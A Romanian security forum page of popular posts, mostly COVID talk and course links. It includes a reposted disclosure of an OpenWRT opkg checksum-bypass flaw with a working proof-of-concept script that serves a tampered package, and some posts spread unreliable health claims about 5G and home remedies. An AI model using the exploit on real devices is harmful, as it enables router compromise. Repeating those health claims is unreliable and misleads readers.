Jump to content

Leaderboard


Popular Content

Showing content with the highest reputation since 03/10/20 in all areas

  1. 11 points
    Cei cu probleme sa ma contacteze. Am in familie epidemilog si pe boli infectioase... (printre singurii pe tara) caz de .... pt oameni pe aici. Nu e de bani. Nici nu se pune problema. https://www.doctorbun.ro/doctor-marinela-tranca_35581.html nr de tel pe privat se cere doar la cazuri confirmate in familie.. fara chestii aiurea cu intrebari. // se dau doar sfaturi de la specialist in cazuri confirmate/izolare. Lasati mesaj pe webmaster@nationalisti.ro cu nr de tel cei cu probleme.
  2. 9 points
    Scuzati-ma ca intervin, dar am si eu o mica precizare de facut. Baieti, cum puteti sa discutati despre 5G sau COVID sau teorii ale conspiratiei cu Bill Gates si pula mea cand voi nu aveti teorii minime despre cum functioneaza o retea, despre cum functioneaza un virus in organism sau despre bani? Nu mai rezist sa vad atatia prosti care isi dau cu parerea. Ba nene, esti programator? Vorbeste frate de 0 si 1, vorbeste de clase si ce plm mai e prin programare. Lasati virusii ca mai sunt copii pe aici care vad ce debitati voi si uite asa se naste inca o generatie de retardati. E de bun simt, DE BUN SIMT, sa nu iti dai cu parerea despre ceva ce nu stii. Stiu ca e palpitant, e wow sa pari interesant, dar daca voi habar n-aveti sa treceti strada, cum discutati de virusi? Da, este foarte bine sa va informati, sa nu fiti niste oi. Si eu fac asta. Si eu cred ca acest virus nu provine de la un liliac(wtf) dar totusi, nu am destule informatii. De ce sa debitez pe aici prostii? A aparut prostia aia cu 5G. Mi-am luat o carte despre cum functioneaza undele radio doar pentru ca voiam sa vad daca e ceva adevarat. Nu am inteles subiectu, cu toate ca am citit aproape 500 de pagini, nu imi dau cu parerea. E chiar asa greu sa fiti rezonabili? Sa nu mai zic ca unii dintre voi sunteti atat de idioti, atat de batuti in cap incat voi credeti asa: Bill Gates ala a facut un virus care o sa omoare milioane de oameni pe planeta si a vorbit despre treaba asta acu X ani. Sincer acum, chiar sunt calm dar cum puteti sa fiti asa de idioti? Adica gen eu sunt Bill Gates si o sa dau o bomba nucleara sa omor rusii ca nu imi plac mie rusii. Si ce fac? Vorbesc despre asta cu cativa ani inainte? Vreti sa fiti vectori de opinie? Citit carti frate. Nu mai ctiti pe Facebook si pe stirismechere.ro sau ce fantoma de site-uri mai exista. Citit frate carti. Despre virusi. Si veti afla de exemplu ca noi suntem virusii pe aceasta planeta. Si ca virusii de exemplu sunt primele forme de particule ce au supravietuit in celule parazitare. Nu mai fiti ignoranti si nu mai inaintati forme de informare dubioase. Noi astia cu putin creier stim sa va delimitam si sa va bagam in cutia penibilului dar mai sunt altii care va cred si uite asa, din cauza unora ca voi, primesc eu mesaje pe whatsapp de imi vine sa arunc telefonu pe geam.
  3. 6 points
    Salut, Cisco ofera niste cursuri de Cybersecurity si de Python free. Mai sunt si altele dar pentru mine neinteresante. Personal il fac acum pe cel de la Python care este oferit de Python Institute si este chiar ok. Interfata ok, explicatii ok, exemple ok, teste ok. https://www.cisco.com/c/m/en_sg/partners/cisco-networking-academy/index.html Mai sus gasiti lista cu aceste cursuri. Primiti si o certificare la final (pe care va sftauiesc sa o folositi pe post de hartie igienica si sa nu mai dati iama la Mega Image ca azi n-am mai gasit nimic). Bafta! PS: Pentru cei care se pregatesc sa imi spuna ca sunt niste certificari de cacat. Nu conteaza certificarea ci ce stiti voi. Dar certificarea va ajuta sa treceti de HR, adica de acele domnisoare care stiu cum se aplica oja pe unghii mai mult decat diferenta dintre CCENT si CCIE, ca tot m-am lovit de problema asta curand.
  4. 6 points
    Simplu. Te uiti si tu la ala care a intrat in tine si tuseste. Daca e mai mai mic ca tine, il cotonogesti. Daca e mai mare ca tine, nu e chiar asa rau cu covid.
  5. 5 points
    Dar despre 5G care a fost implementat la scala larga in Wuhan incepand cu Octombrie 31, 2019 ce parere aveti? Simptomele sunt aceleasi ca si cand ai fi iradiat.
  6. 5 points
    de ce nu? Are firma omul, munceste, nu baga mana in buzunar la nimeni. Pe celalalt thread, oamenii spun ca sunt ok serviciile lui.
  7. 4 points
    Acum trimit. Trimis.
  8. 4 points
  9. 4 points
    Salut, Depinde ce tip de om esti, daca esti omul care poate citi carti atunci ai un avantaj mare. Spre exemplu eu nu pot face asta, dar ce pot face e sa pun lucrurile in practica foarte rapid (adica sa le testez/incerc atat de mult pana imi iasa) Dupa cum spuneau si ceilalti, e foarte important sa stii modul in care cauti pe google (abordarea pe care o ai asupra problemelor). In ceea ce priveste profu' de info, sincer, eu consider ca scoala/facultatea constituie cam 5-10% din ceea ce faci in viata, si asta doar prin metoda graduala de a-ti dezvolta capacitatea de a intelege lucrurile si nimic altceva. Nu vreau sa spun ca nu sunt profesori buni in Romania, ba dimpotriva, sunt unii chiar foarte buni (daca ai astfel de profesori esti noroos), doar ca efortul cel mai mare trebuie depus de tine, si asta o poti face oriunde acasa/scoala (eu spre exemplu "chiuleam" de la ore doar ca sa fac chestii pt olimpiada/e). Cum as aborda eu acum daca as lua-o de la zero, as face astfel: As lua 5 prieteni si l-as intreba pe fiecare care crede el ca ar fi 1 problema "nice to know" in ceea ce priveste un programator la nivel de incepator. Daca n-ai 5 prieteni care sa-ti raspunda te ajutam noi, dar atunci ar trebui sa incepi sa-ti faci prieteni programatori. Cauta pe google, scrie cod, testeaza si o sa fie bine. Limbajul de programare nu conteaza (sunt plusuri si minusuri la toate, ceea ce e important e gandirea logica din spate - pseudocod - in rest difera doar sintaxa) asa ca alege-l pe cel care consideri tu ca il intelegi si te simti cel mai confortabil (cel putin pentru inceput). Bafta
  10. 4 points
    Eu va trimit invitatii si voi ma injurati... Asa sunt romanii frate, cat le dai tot nu le convine.
  11. 4 points
    @Infinity70 @aimstein1 Codul de filelist e encoded in imagine, e facut asa ca sa nu le dam de pomana la toti copiii. Uita-te cu atentie, mai de la distanta, ca e acolo.
  12. 4 points
    Disclaimer: dezavuez si dezaprob cele intamplate, nu argumentez pentru executii. - Sper ca treaba sa dea mult si bine de gandit restul amatorilor de ciordeli - Nici un pitiponc nu se gandeste pentru 1 secunda ca pentru unii banii aia care ii ciordesc poate inseamna o batranete linistita, un tratament pentru cancer sau HIV pentru o ruda, viitorul unui copil, banii de inceput in viata pentru un cuplu proaspat casatorit, etc. - Din spatele ecranului, in propriul dormitor e foarte usor sa fii smardoi. Insa in multe tari daca intra cineva peste tine in casa sa te fure ai dreptul sa il omori fara nici o strabatere. Nu se gandeste nici un gibon la trauma psihica si fizica cauzata cand ii fura unuia banii din cont, chiar daca e la distanta. - Legile din Romania in general dar mai ales cele privind infractiunile online sunt foarte stupide. Motiv pentru care unii simt nevoia sa isi caute si dreptatea proprie Cine are urechi de auzit sa auda...
  13. 3 points
    Avira au ramas in urma in ultimii ani, fata de rivalii lor precum Kaspersky, GDATA (tot din Germania), Bitdefender, etc. Tehnologia lor s-a bazat si se bazeazas din pacate in continuare pe semnaturi, un dezavantaj major fata de companiile ce au recurs la diverse tehnologii de behavioural blocker, unele facand uz de chestii de-astea moderne de machine learning. Cred ca de-asta au vandut compania. Ca produsul lor sa devina competitiv e nevoie de investitii majore, si probabil ca arabi se bazeaza pe marketing si pe numele de Avira, sa mai scoata si ei niste dinero cat mai merge.
  14. 3 points
    Uita-te aici: https://www.pluralsight.com/search?categories=course&q=network security https://www.pluralsight.com/search?q=cryptography&categories=course Au gratuit https://www.pluralsight.com/offer/2020/free-april-month toata luna Aprilie (si e posibil sa extinda). Revino in Mai/dupa ce le termini si iti mai dau.
  15. 3 points
    Ca sa nu se vada dosarele.
  16. 3 points
    A intampinat vreo careva probleme cu viteza de internet in perioada asta, in contextul de fata?
  17. 3 points
    Stay home. Skill up. #FREEapril Build in-demand tech skills without leaving your house. Get free access to 7,000+ expert-led video courses and more all month long. Due to very high demand, redemptions are processing slower than expected. Your confirmation email with login info may take a few hours. SIGN UP NOW Link: https://www.pluralsight.com/offer/2020/free-april-month
  18. 3 points
    De ce ai vrea ca guvern, om plin de bani, mason, illuminati sau mai stiu eu ce, ca lumea sa stea in casa? Sa mergi in dezbracat pe strada fara frica de paparazzi? De fapt stiu raspunsul: ca sa poata schimba bateriile la pasari! De fapt nu exista pasari cum le vedem noi, ci sunt roboti care monitorizeaza populatia.
  19. 3 points
    Daca nu te descurci sa inveti singur, nici nu te apuca.
  20. 3 points
    Celelalte parti le gasiti pe canalul lor.
  21. 3 points
    Vrei si tu o invitatie? Lasa email in privat.
  22. 3 points
    Parerile mele: "Buba cu acest virus este ca ramane cateva ore in gat, o simpla licoare facuta din tuica si propolis - posibil sa-l buleasca, la fel si inlaturarea usturimi din gat - cu un banal ceai caldut din putina menta, miere si putina lamaie, cei infectati posibil sa se trateze cu vitamina C injectabila. " - Fals, la fel ca usturoiul sau uleiurile esentiale sau mai stiu eu ce "Virusul nu este un organism viu, ci o moleculă proteică (ADN)" - Aproape adevarat, e ARN nu ADN "au nevoie de umiditate pentru a rămâne stabile și, mai ales, întuneric" - Fals, nu cred ca stie el ca e lumina aprinsa sau nu. Poate voiau sa spuna ca e posibil sensibil la lumina soarelui, asta a avut rezultate in 1918 aparent, persoanele tratate afara, la soare, au dus-o mai bine In rest, lucrurile postate de @Wav3 par reale si de bun simt. - Nytro, expert in biologie moleculara, epidemiolog WHO si doctorand in virusologie (am luat si un 5 la algoritmi genetici si aplicatii in bioinformatica la facultate, daca se pune)
  23. 3 points
    Primaru' de la mine din oras a dat share la informatia asta si cica ar fi umblat si pe net acu' ceva zile. Nu stiu cat de legit este. Universitatea Johns Hopkins a trimis această notă detaliată privind evitarea contagiunii: * Virusul nu este un organism viu, ci o moleculă proteică (ADN) acoperită de un strat protector de lipide (grăsimi), care, atunci când este absorbit de celulele mucoasei oculare, nazale sau bucale, își schimbă codul genetic, (mutație) și se transformă în celule agresor și multiplicator. * Întrucât virusul nu este un organism viu, ci o moleculă de proteine, acesta nu este ucis, ci se descompune de la sine. Timpul de dezintegrare depinde de temperatură, umiditate și tipul de material în care se află. * Virusul este foarte fragil; singurul lucru care îl protejează este un strat subțire de grăsime. Acesta este motivul pentru care orice săpun sau detergent este cel mai bun remediu, deoarece spuma dizolva grăsimea (de aceea trebuie să frecați mâinile atât de mult: timp de 20 de secunde sau mai mult, pentru a face multă spumă). Prin dizolvarea stratului de grăsime, molecula de proteină se dispersează și se descompune singură. * Căldura topește grăsimea; acesta este motivul pentru care este atât de bine să folosești apă peste 25 de grade Celsius pentru spălarea mâinilor, hainelor și a tot. În plus, apa caldă face mai multă spumă și asta o face și mai utilă. * Alcoolul sau orice amestec cu alcool de peste 65% DIZOLVĂ ORICE GRĂSIME, în special stratul lipidic extern al virusului. * Orice amestec cu 1 parte de înălbitor și 5 părți de apă dizolvă direct proteina, o descompune din interior. * Apa oxigenată ajută mult după săpun, alcool și clor, deoarece peroxidul dizolvă proteina virusului, dar trebuie să o utilizați pură ceea ce afectează pielea. * FĂRĂ SERVICII BACTERICIDE. Virusul nu este un organism viu ca bacteriile; nu se poate ucide ceea ce nu este viu cu antibiotice, dar își dezintegrează rapid structura cu tot ce s-a spus. * Niciodată nu agitați/scuturați îmbrăcămintea, cearceafurile sau alte materiale folosite sau neutilizate. În timp ce este lipit pe o suprafață poroasă, este foarte inert și se dezintegrează doar între 3 ore (țesătură și suprafață poroasă), 4 ore (cupru, pentru că este natural antiseptic; și lemn, pentru că elimină toată umezeala și nu o lasă să se desprindă și se dezintegrează), 24 ore (carton), 42 ore (metal) și 72 ore (plastic). Dar dacă îl scuturați sau folosiți un pămătuf de curățare, moleculele de virus plutesc în aer până la 3 ore și pot fi inhalate cu ușurință. * Moleculele de virus rămân foarte stabile la frig extern sau frig artificial precum aparatele de aer condiționat în case și mașini. De asemenea, au nevoie de umiditate pentru a rămâne stabile și, mai ales, întuneric. Prin urmare, mediile dezumidificate, uscate, calde și luminoase îl vor degrada mai repede. * LUMINA UV pe orice obiect care o poate conține descompune proteina virusului. De exemplu, pentru dezinfectarea și reutilizarea unei măști este perfectă. Fiți atenți, de asemenea, lumina UV descompune colagenul (care este proteic) la nivelul pielii, provocând în cele din urmă riduri și cancer de piele. * Virusul NU POATE trece prin pielea sănătoasă. * Oțetul NU este util, deoarece nu descompune stratul protector de grăsime. * NICI ȚUICA, PALINCA ȘI NICI VODKA, nu servesc. Cea mai puternică vodcă este 40% alcool și ai nevoie de 65%. * LISTERINE! Este 65% alcool. * Cu cât este mai limitat spațiul, cu atât mai multă concentrație a virusului poate exista. Cu cât este mai deschis sau ventilat natural, cu atât mai puțin. * Toată această informație este foarte utilă, dar trebuie să vă spălați pe mâini înainte și după ce atingeți mucoasa, mâncarea, încuietorile, butoanele, comutatoarele, telecomanda, telefonul mobil, ceasurile, computerele, birourile, televizorul etc. precum și când folosiți baia. * Trebuie să hidratați mâinile uscate de la atâta spălare, deoarece moleculele se pot ascunde în micro fisurile rezultate în pielea uscată. Cu cât crema este mai groasă, cu atât mai bine. * De asemenea, asigură-te că ai unghiile cât se poate de scurte, astfel încât virusul să nu se ascundă acolo.
  24. 3 points
    Acum cateva zile eram, potrivit tie, comunist si bolsevic. Acum sunt jidan capitalist. Maine vei spune ca sunt fascist. Tot mai bine decat "micul nazist"
  25. 3 points
    Cine mai este offtopic - ban permanent.
  26. 3 points
    Cei care iau etnobotanice isi asuma riscul, o fac pe barba lor, nu e ceva contagios. La fel si comparatiile alea idioate cu "milioane de oameni mor de boli de inima". Da bre, dar nu se transmite si altora. Da, sunt si alte cauze care provoaca decesul multor persoane, unele fiind contagioase (e.g. gripa, varicela sau mai stiu eu ce). Dar fie nu sunt atat de grave, fie exista tratament specific sau vaccinuri. Aici nu exista nimic. Radeti voi, dar o sa vedeti peste 2 saptamani. Sunt destul de sigur ca multi veti avea cunostiinte care nu s-au simtit bine sau au ajuns prin spitale (daca au noroc). Sper sa nu fie cazul de decese... #StatiInPulaMeaAcasa
  27. 3 points
    Stimați colegi, am oferte foarte bune pentru serverile dedicate. Server details: i7-9700 DDR4 / 32 GB RAM / 256 GB SSD - 80 euro / month i7-9700 DDR4 / 16 GB RAM / 1 TB HDD - 70 euro / month i5-4570 DDR3 / 16 GB RAM / 1 TB HDD - 49 euro / month i3-2120 DDR3 / 8 GB RAM / 1 TB HDD - 35 euro / month DualCore G4400 DDR4 / 4 GB RAM / 1 HDD TB - 25 euro / month *All servers come with 1 Gbps shared Contact us - https://alexhost.com/tickets/new/ Skype : alexhost.md
  28. 3 points
    PEN1 PEN2 Bafta!
  29. 3 points
    Btw, acum e momentul de luat bilete de avion, preturi de nimic.
  30. 2 points
    Daca esti la inceput in criptografie poti incepe cu astea https://anonfiles.com/h7S8C4n2o7/Cryptography_For_Dummies_pdf_versiunea_1 Am un cont de udemy cu 2-3 cursuri despre securitatea retelelor si ceva capitole de criptografie, pm si putem imparti contul daca doresti
  31. 2 points
  32. 2 points
    @Gecko, 4, stai jos! :-))
  33. 2 points
    Ai foarte mare dreptate, nu cred si nu voi crede niciodata ca pot sa schimb o mentalitate. Dar daca nu incerc sa fac asta, nu am dreptul sa ma plang. Este adevarat ca pe undeva pe drum, nervii si persistenta unora m-au facut sa imi pierd argumentele si sa recurg la jigniri. Am sa incerc sa nu o mai fac atat de agresiv aici pe forum
  34. 2 points
  35. 2 points
    Salut tuturor , sunt un viitor tatic ce a ramas fara servici si a intrat in Carantina (ITALIA) de aproape 2 luni . Sotia mea este insarcinata in luna a 8-a iar noi nu am reusit sa ne organizam cu hainute , pat si alte chestii pentru bebe . Din banii ramasi de economie am cumparat alimente pentru a supravietui . Daca cineva doritor din Italia sau eu stiu si din Romania are hainute folosite de bebe sau alte chestii folositoare si le poate trimite as aprecia foarte mult . Pentru cei care sunt in dubii va pot da numarul de whatsap si va pot arata sotia insarcinata apartamentul si alte dovezi .
  36. 2 points
    Ca sa calculezi distanta - Google maps. Alegi punctul de pornire si click dreapta - "Location from here" apoi alegi unde mergi si click dreapta - "Location to here". Iti arata distanta cu masina, transport in comun sau chiar mers pe jos. De vizitat ar putea fi multe: saline, vulcani noroiosi, Maramures, Delta, mare, munte. Poti bea spirt in Moldova si manca praz in Oltenia. Depinde ce vrei sa faci. Momentan probabil vei lua amenda daca vrei sa te plimbi. Deci astepti sa treaca perioada, apoi mergi unde vrei.
  37. 2 points
    Cum faci ca sa stea toata lumea de pe glob in casa? Simplu eliberezi un virus. Ce motiv ai avea ca sa stea lumea in casa? Statul in casa protejeaza?
  38. 2 points
    Suntem multumiti cu tovarasul @sleed deocamdata, l-am saltat inainte sa fuga in Venezuela.
  39. 2 points
    Cred ca deja si-a aruncat calculatorul pe fereastra ... 😄😄
  40. 2 points
    Poate fil util: http://droppdf.com/
  41. 2 points
    Introduction For ForAllSecure, I’ve been focusing on finding bugs in OpenWRT using their Mayhem software. My research on OpenWRT has been a combination of writing custom harnesses, running binaries of the box without recompilation, and manual inspection of code. I found this vulnerability initially by chance when I was preparing a Mayhem task for opkg. Mayhem can serve data either from a file or from a network socket. opkg downloads packages from downloads.openwrt.org, so my plan was to let this domain name point to 127.0.0.1 from which Mayhem is serving. To test if opkg would indeed download packages from a custom network connection, I set up a local web server and created a file consisting of random bytes. When I ran opkg to install a package, it retrieved the file as I had intended, and then threw a segmentation fault. I didn’t understand why an invalid package would cause this error. After all, the package shouldn’t be processed if the SHA256 hash was incorrect. My initial hunch was that opkg would download the package, unpack it to a temporary directory, and only then verify the SHA256 hash before definitively installing it to the system. I suspected that the unpacker couldn’t deal with malformed data, like the file with random bytes served from my web server. Further inspection showed that the SHA256 hash wasn’t checked at all, which is the basis of the vulnerability at hand. I was right about the unpacker being buggy, though; malformed data would lead to a variety of memory violations. Once I confirmed that opkg would attempt to unpack and install any package it downloads, I was able to recreate the findings with Mayhem with just a slight modification to opkg. I set up a Mayhem task for opkg install attr (attr is a small OpenWRT package), and implicitly, Mayhem was able to find the remote code execution bug, by detecting the memory bugs in the package unpacker. If OpenWRT’s SHA256 verification had worked as intended, opkg would simply discard the package and not process it, and no segmentation faults would transpire. Mayhem is capable of fuzzing binaries without recompilation or instrumentation. Coming from a workflow that involves writing many custom harnesses for software libraries (which Mayhem also supports), this has been a delightful experience and it has allowed me to set up targets for dozens of OpenWRT applications in just weeks, and more vulnerability disclosures are forthcoming. In the following sections, I’ll dive deeper into how I identified the vulnerability. OpenWRT OpenWRT is a free, Linux-based operating system geared towards use in embedded devices in general and network routers in particular. By all accounts it is installed on millions of devices across the world. The OpenWRT package manager To install or update software on an OpenWRT system, a utility called opgk is used. Its functionality and purpose are comparable to apt on Debian-based systems. opkg retrieves the lists of package available for installation from downloads.openwrt.org over an unencrypted HTTP connection. The package lists are digitally signed. This ensures that before the package file is processed, it is verified to come from the OpenWRT maintainers, and discarded if verification fails. A typical entry in Packages looks like this: Package: attr Version: 2.4.48-2 Depends: libc, libattr License: GPL-2.0-or-later Section: utils Architecture: x86_64 Installed-Size: 11797 Filename: attr_2.4.48-2_x86_64.ipk Size: 12517 SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6 Description: Extended attributes support This package provides xattr manipulation utilities - attr - getfattr - setfattr The SHA256sum field is there to ensure that a downloaded package is not corrupted or compromised. The expected SHA256 hash is implicitly guaranteed to come from the OpenWRT maintainers, because the package list that embeds it, is itself verified with a valid signature. In theory this means that through the use of signatures nor the package list, nor a package archive can be tampered even though the transport channel (HTTP) is by itself insecure. Some discussion about this way of reasoning can be found here. The bug When the user installs a package by running opkg install <package>, opkg starts by parsing the package lists. The parser traverses each package entry and performs different actions for each type of field. Once it comes across the SHA256sum field, it will call pkg_set_sha256: 312 else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line)) 313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1); Source pkg_set_sha256 will attempt to decode the SHA256sum field from hexadecimal to binary and store it in an internal representation: 244 char *pkg_set_sha256(pkg_t *pkg, const char *cksum) 245 { 246 size_t len; 247 char *p = checksum_hex2bin(cksum, &len); 248 249 if (!p || len != 32) 250 return NULL; 251 252 return pkg_set_raw(pkg, PKG_SHA256SUM, p, len); 253 } Source However, if decoding fails, it silently fails without storing the hash. The actual bug is in checksum_hex2bin. It is fairly easy to overlook. Can you spot it? 234 char *checksum_hex2bin(const char *src, size_t *len) 235 { 236 size_t slen; 237 unsigned char *p; 238 const unsigned char *s = (unsigned char *)src; 239 static unsigned char buf[32]; 240 241 if (!src) { 242 *len = 0; 243 return NULL; 244 } 245 246 while (isspace(*src)) 247 src++; 248 249 slen = strlen(src); 250 251 if (slen > 64) { 252 *len = 0; 253 return NULL; 254 } 255 256 for (p = buf, *len = 0; 257 slen > 0 && isxdigit(s[0]) && isxdigit(s[1]); 258 slen--, s += 2, (*len)++) 259 *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]); 260 261 return (char *)buf; 262 } Source Initially, the s and src variables point to the same address. On line 246, the src variable is advanced to the first non-space character. However, the actual decoding, which happens inside the for loop starting on line 256 operates on the s variable, which still points to the very start of the string. Hence, if the input string has any leading spaces, this will attempt to decode the space character. The space is not a hexadecimal character, so isxdigit() returns false, and the decoder loop will exit immediately, leaving *len set to 0. If we look at the package parser again, we see that the string passed to pkg_set_sha256 is the part of the line after “SHA256sum: 313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1); In effect, this means that the first character of that string is a space. After the package list parsing has completed, the package is downloaded, again over HTTP. Several verification steps follow. The size of the downloaded package must be equal to that specified in the package list: 1379 pkg_expected_size = pkg_get_int(pkg, PKG_SIZE); 1380 1381 if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) { 1382 if (!conf->force_checksum) { 1383 opkg_msg(ERROR, 1384 "Package size mismatch: %s is %lld bytes, expecting %lld bytes\n", 1385 pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size); 1386 return -1; 1387 } else { 1388 opkg_msg(NOTICE, 1389 "Ignored %s size mismatch.\n", 1390 pkg->name); 1391 } 1392 } Source And if a SHA256 hash was specified for this package, it must match: 1415 /* Check for sha256 value */ 1416 pkg_sha256 = pkg_get_sha256(pkg); 1417 if (pkg_sha256) { 1418 file_sha256 = file_sha256sum_alloc(local_filename); 1419 if (file_sha256 && strcmp(file_sha256, pkg_sha256)) { 1420 if (!conf->force_checksum) { 1421 opkg_msg(ERROR, 1422 "Package %s sha256sum mismatch. " 1423 "Either the opkg or the package index are corrupt. " 1424 "Try 'opkg update'.\n", pkg->name); 1425 free(file_sha256); 1426 return -1; 1427 } else { 1428 opkg_msg(NOTICE, 1429 "Ignored %s sha256sum mismatch.\n", 1430 pkg->name); 1431 } 1432 } 1433 if (file_sha256) 1434 free(file_sha256); 1435 } Source But because checksum_hex2bin was not able to decode the SHA256sum field, the code from line 1418 onwards is simply bypassed. It looks like the bug was introduced in February 2017, almost three years ago: https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf Exploitation For exploitation it is required that the attacker serves (compromised) packages from a web server. The attacker must either be in a position to intercept and replace communication between the device and downloads.openwrt.org, or control the DNS server used by the device to make downloads.openwrt.org point to a web server controlled by the attacker. Attacks on a local network using packet spoofing or ARP cache poisoning might be possible, but this has not been tested. The sole constraint to reckon with is that the file size of compromised package must match the Size field in the package list. Doing this is trivial: Create a package that is smaller than the original Compute the size difference between the original package and the compromised package Append this amount of zero bytes to the end of the compromised package The following proof-of-concept demonstrates how exploitation may be achieved: #!/bin/bash # Download the package lists for mirroring wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig mv downloads.openwrt.org/snapshots . rm -rf downloads.openwrt.org/ # Get the original package wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") tar zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk # Extract the binaries mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz # Build the replacement binary. It is a very small program that prints a string. rm -f /tmp/pwned.asm /tmp/pwned.o echo "section .text" >>/tmp/pwned.asm echo "global _start" >>/tmp/pwned.asm echo "_start:" >>/tmp/pwned.asm echo " mov edx,len" >>/tmp/pwned.asm echo " mov ecx,msg" >>/tmp/pwned.asm echo " mov ebx,1" >>/tmp/pwned.asm echo " mov eax,4" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo " mov eax,1" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo "section .data" >>/tmp/pwned.asm echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm echo "len equ $ - msg" >>/tmp/pwned.asm # Assemble nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o # Link ld /tmp/pwned.o -o usr/bin/attr # Pack into data.tar.gz tar czvf ../data.tar.gz * cd ../ # Remove files no longer needed rm -rf data/ # Pack tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary # Remove files no longer needed rm control.tar.gz data.tar.gz debian-binary # Compute the size difference between the original package and the compromised package MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))" # Pad the modified file to the expected size head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk # Download the dependency of attr wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk # Position the files for serving from the web server mkdir -p snapshots/packages/x86_64/packages/ mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ # Launch a basic web server that opkg will be connecting to sudo python -m SimpleHTTPServer 80 If we assume that the web server IP is 192.168.2.10, running following commands on an OpenWRT system: echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr would print ‘pwned :)’ before the fixes were implemented. The modification to /etc/hosts is required to emulate a man-in-the-middle (or compromised DNS) situation. Remediation As a stopgap solution, OpenWRT removed the space in the SHA256sum from the package list shortly after I reported the bug. This helped mitigate the risk to users somewhat; users who updated their package lists following this change were no longer vulnerable, as subsequent installs would set out from a well-formed list that would not sidestep the hash verification. However, this is not an adequate long-term solution because an attacker can simply provide an older package list that was signed by the OpenWRT maintainers. The bug in checksum_hex2bin was fixed in this commit and integrated in OpenWRT versions 18.06.7 and 19.07.1, both released on February 1st 2020. My recommendation is to upgrade OpenWRT versions to 18.06.7 or 19.07.1. Notes Back in 2016, Jann Horn of Google Project Zero found a bug with a comparable impact in Debian’s apt package manager. Last year, another such flaw was discovered by Max Justicz. Sursa: https://blog.forallsecure.com/uncovering-openwrt-remote-code-execution-cve-2020-7982
  42. 2 points
    Imi place cum te tavalesti in chinuri si cred ca in urmatoarele saptamani va fi si mai entertaining. Nu faci un live stream sa ne dai?
  43. 2 points
    Inainte de toate, daca inca nu stii, invata engleza, cat sa o intelegi la un nivel mediu-avansat, deoarece toata documentatia de calitate e in limba engleza. Al doilea lucru, daca vrei sa inveti programare, tre sa stii sa folosesti google la maxim, pana si procesul de cautare face parte din a invata. Eu iti recomand sa iti iei informatia din mai multe locuri, cauti 2-3 tutoriale / cursuri introductive si le iei pe rand, poate un autor a omis cateva lucruri importante, poate nu le intelegi tu atat de bine de la el si altul le explica mai pe intelesul tau . Python e perfect pentru incepatori, dupa ce o sa il stapanesti cat de cat, o sa poti sa inveti si alte limbaje precum c++ mai usor. Poti sa te duci si pe c++ daca esti mai hardcore si prinzi rapid. Ai toate sansele sa inveti programare, nimeni nu s-a nascut invatat, deci nu iti faci sperante degeaba. Tot ceea ce ai nevoie e o conexiune la internet si un calculator. Bafta !
  44. 2 points
    Salut! Am dat un search in forum si nu am gasit nimic legat de siteul acesta. Poate un moderator o sa il ia si sa il puna intr-un sticky/pinned pentru cine cauta manuale/carti din domeniul IT. https://itshare.ro/download
  45. 2 points
  46. 2 points
    Aici tu strici. Omul a spus parerea lui si ai inceput. Convinge-l cu argumente ca nu are dreptate. Astia nu cred ca faceau asa.
  47. 2 points
  48. 2 points
